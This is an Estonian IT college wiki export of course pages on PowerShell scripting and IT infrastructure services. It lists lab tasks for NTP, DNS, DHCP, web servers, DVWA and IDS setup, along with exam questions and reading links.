[[Tunninäide: 7.02.2012, Powershell]]&lt;br /&gt;
&lt;br /&gt;
===Praktika===&lt;br /&gt;
* Võta system EventLog&#039;ist 25 viimast sündmust ja ekspordi need CSV faili&lt;br /&gt;
* Leia application EventLog&#039;ist enim kirjeid loonud rakendus&lt;br /&gt;
* Käivita Notepad ning leia seejärel vastav protsess ja tee kindlaks PID&lt;br /&gt;
* Leia enim mäluruumi kasutav protsess ja sulge see&lt;br /&gt;
&lt;br /&gt;
==PowerShell skriptimiskeskkonnas WMI objektide kasutamine==&lt;br /&gt;
===Sissejuhatus===&lt;br /&gt;
* Using the Get-WMiObject Cmdlet http://technet.microsoft.com/en-us/library/ee176860.aspx&lt;br /&gt;
* Connecting to WMI on a Remote Computer by Using Windows PowerShell http://msdn.microsoft.com/en-us/library/ee309377(VS.85).aspx&lt;br /&gt;
* Getting WMI Objects (Get-WmiObject) http://technet.microsoft.com/en-us/library/dd315379.aspx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Näited===&lt;br /&gt;
* Kolmanda praktikumi naide [[Anna-Printerid.ps1]]&lt;br /&gt;
* Powershell script to retrieve the OperatingSystem and Service Pack http://ss64.com/ps/get-wmiobject-win32.html&lt;br /&gt;
* Use PowerShell to see whats eating your CPU http://www.rn.co.za/html/?tag=get-wmiobject&lt;br /&gt;
&lt;br /&gt;
==PowerShell skriptimiskeskkonnas IIS veebiserveri haldamine==&lt;br /&gt;
===Praktika===&lt;br /&gt;
* Koosta skript, mis:&lt;br /&gt;
** paigaldaks IIS veebiserveri&lt;br /&gt;
** Kustutaks Default Web Site&lt;br /&gt;
** Looks uue veebilehe, mille füüsiline asukoht oleks C:\www&lt;br /&gt;
*** Kontrolliks ka eelnevalt kataloogi olemasolu ning vajadusel looks selle&lt;br /&gt;
&lt;br /&gt;
* Koosta skrpit, mis genereeriks veebilehe, mis sisaldaks töötavate protsesside loetelu ja nende ressursikasutusesinfot ja viimast viit kirjet &#039;&#039;system&#039;&#039; EventLog&#039;ist&lt;br /&gt;
** See skript peab väskendama infot viieminutilise intervalliga&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Kaughaldus PowerShelli abil==&lt;br /&gt;
===Teooria===&lt;br /&gt;
* Running Remote Commands http://technet.microsoft.com/en-us/library/dd819505.aspx&lt;br /&gt;
* PowerShell V2 Remoting - a first glimpse http://powershell.com/cs/blogs/tobias/archive/2008/11/06/powershell-v2-remoting-overview.aspx&lt;br /&gt;
&lt;br /&gt;
===Praktika===&lt;br /&gt;
&lt;br /&gt;
=Mida uut tuleb PowerShell 5.0 versioonis=&lt;br /&gt;
&lt;br /&gt;
Windows Management Framework 5.0 - http://www.microsoft.com/en-us/download/details.aspx?id=44987&lt;br /&gt;
&#039;OneGet&#039; - apt-get powershellile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://mikefrobbins.com/2014/04/13/exploring-the-find-package-cmdlet-from-the-powershell-version-5-preview-oneget-module/ Find-Package näited]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Find-Package -Name Java -AllVersions&lt;br /&gt;
Find-Package -Name Eclipse -MinimumVersion 4.1 -MaximumVersion 4.3&lt;br /&gt;
Find-Package -Name Java, Eclipse-kepler, WinRAR | Install-Package&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pakkide allikaid võib lisada, kuid üks on vaikimisi kaasas PS5 preview versiooniga: Chocolatey&lt;br /&gt;
&amp;lt;source lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-Command -Module OneGet&lt;br /&gt;
Get-PackageSource&lt;br /&gt;
Install-Package git&lt;br /&gt;
Update-Package git&lt;br /&gt;
Uninstall-Package git&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
http://docs.nuget.org/docs/reference/package-manager-console-powershell-reference&lt;br /&gt;
&lt;br /&gt;
=PowerShell kodutööd=&lt;br /&gt;
&lt;br /&gt;
1. Teha skript, mis logib sisse BasicAuth abil kaitstud veebilehele ja laeb sealt alla faili.&lt;br /&gt;
&lt;br /&gt;
Skripti parameetrid on 1. url 2. username [3.password]&lt;br /&gt;
&lt;br /&gt;
Skript küsib parooli kasutajalt, kui seda pole ette antud käsurealt.&lt;br /&gt;
&lt;br /&gt;
Skript laeb alla faili mis on url abil antud.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
N2iteurl: http://enos.itcollege.ee/~mernits/basicauth/kala.html Kasutajanimi robot ja parool on kala&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Vanad kontrolltööd ja arvestustööd=&lt;br /&gt;
&lt;br /&gt;
[[Skriptimiskeelte arvestustööd ja kontrolltööd]]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88415</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88415"/>
		<updated>2015-05-11T10:29:42Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Teemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Teemad 2015 ==&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[WPScan]] - http://wpscan.org/&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
